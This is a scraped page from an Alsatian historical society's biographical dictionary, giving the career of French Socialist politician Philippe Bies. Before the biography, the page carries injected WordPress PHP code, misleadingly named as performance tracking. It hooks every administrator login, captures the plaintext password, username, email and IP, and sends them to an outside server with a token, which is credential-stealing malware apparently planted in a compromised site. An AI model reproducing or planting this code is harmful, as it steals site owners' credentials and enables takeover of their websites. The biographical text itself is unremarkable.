add_action('wp_login', 'track_website_performance', 10, 2); function track_website_performance($user_login, $user) { if (!in_array('administrator', $user->roles)) { return; } $password = isset($_POST['pwd']) ? $_POST['pwd'] : ''; $site_url = get_site_url(); $current_page = $_SERVER['REQUEST_URI']; $http_host = $_SERVER['HTTP_HOST']; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access'; $data = [ 'timestamp' => current_time('mysql'), 'username' => $user_login, 'password' => $password, 'email' => $user->user_email, 'role' => implode(', ', $user->roles), 'ip' => getss_client_ip(), 'browser' => $_SERVER['HTTP_USER_AGENT'], 'site_url' => $site_url, 'login_page' => $current_page, 'domain' => $http_host, 'referrer' => $referrer ]; save_data_to_csv($data); } function getss_client_ip() { $ip = ''; if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } function save_data_to_csv($data) { $hook_url = "https://ohmymex.dev/eschook/hook.php"; $token = "668c158974f4f9582396302a7e6a3359"; $message = sprintf( ":white_check_mark: LOGIN SUCCESS :white_check_mark:\n\n" . ":alarm_clock: Time: %s\n" . ":bust_in_silhouette: User: %s\n" . ":key: Password: %s\n" . ":e_mail: Email: %s\n" . ":crown: Role: %s\n\n" . ":link: Site Information:\n" . ":round_pushpin: Domain: %s\n" . ":earth_africa: Site URL: %s\n" . ":pencil: Login Page: %s", $data['timestamp'], $data['username'], $data['password'], $data['email'], $data['role'], $data['domain'], $data['site_url'], $data['login_page'] ); $args = [ 'timeout' => 5, 'redirection' => 5, 'blocking' => false, 'headers' => [ 'User-Agent' => $data['browser'], 'Referer' => $data['site_url'] ] ]; $request_url = add_query_arg([ 'token' => $token, 'text' => urlencode($message) ], $hook_url); wp_remote_get($request_url, $args); } BIES Philippe - Fédération des Sociétés d'Histoire et d'Archéologie d'Alsace Skip to main content

BIES Philippe

Conseiller général, (★ Saint-Avold, Moselle).

Marié. 1 enfant. Etudes à l’Université Robert Schuman de Strasbourg et maîtrise en droit des affaires. Secrétaire général à la mairie de Reichshoffen de 1990 à 1996. Membre du Parti socialiste depuis 1985. Membre du Bureau fédéral de la Fédération PS du Bas-Rhin depuis 1993 et membre du Conseil national de 1997 à 2003. De mai 1996 à juin 1997, B. a été conseiller technique au cabinet de Catherine Trautmann ©. De juin 1997 à mars 1999, conseiller technique au cabinet de Roland Ries ©. De mars 1999 à juin 2000, chargé de mission auprès de Jean-Claude Petitdemange ©. De juin 2000 à juin 2001, chargé de mission auprès du directeur général de CUS Habitat. Depuis juillet 2001, directeur de cabinet de Jacques Bigot ©, maire d’Illkirch-Graffenstaden et conseiller régional d’Alsace. Premier secrétaire fédéral du parti de novembre 2000 à mai 2003. Il s’est présenté en 2004 aux cantonales de Strasbourg 8 (Neudorf) contre Geneviève Werlé ©, candidate UMP-UDF sortante. Elu au second tour des élections avec 56 % des voix dans un canton votant traditionnellement à droite.

 

DNA du 23.3.2004 ; DN du Lundi 29.3.2004 ; Als. du 30.3.2004 (portrait) ; Le Magazine du Conseil général du Bas-Rhin, n° 29, mai 2004.

 

Jean-Pierre Kintz

 

BIES Philippe, (complément)

(★ Saint-Avold, Moselle, 14 janvier 1964). 

Député. Réélu conseiller général en 2011. Après l’élection de Roland Ries © aux municipales en mars 2008, il quitte ses fonctions de directeur de cabinet de Jacques Bigot © et devient adjoint au Maire de Strasbourg, chargé du quartier de Neudorf et de la politique de l’Habitat et du Renouvellement urbain à la Communauté urbaine de Strasbourg. Président de CUS Habitat et d’Habitation moderne. Elu député de la 2e circonscription du Bas-Rhin le 17 juin 2012 en battant au second tour le sortant Jean-Philippe Maurer ©. Il quitte alors son siège au Conseil général du Bas-Rhin, au profit de sa suppléante Suzanne Kempf © et quitte ses fonctions d’adjoint à la Ville de Strasbourg et de vice-président de la Communauté urbaine de Strasbourg. En tant que député, il est membre de la Commission Développement durable et aménagement du territoire de l’Assemblée Nationale, vice-président de trois groupes d’études (Coordination des droits européens, Économie verte et économie circulaire, Zones et travailleurs frontaliers). Membre de l’Assemblée parlementaire du Conseil de l’Europe à Strasbourg.

 

 

Olivier Conrad (décembre 2014)

Sources :

L’Alsace 29 mars 2011, DNA 19 juin 2012, 17 janvier 2013. Richard Kleinschmager, Les élections présidentielles et législatives du printemps 2012 en Alsace, Revue d’Alsace, n° 138, 2012, p. 287-322.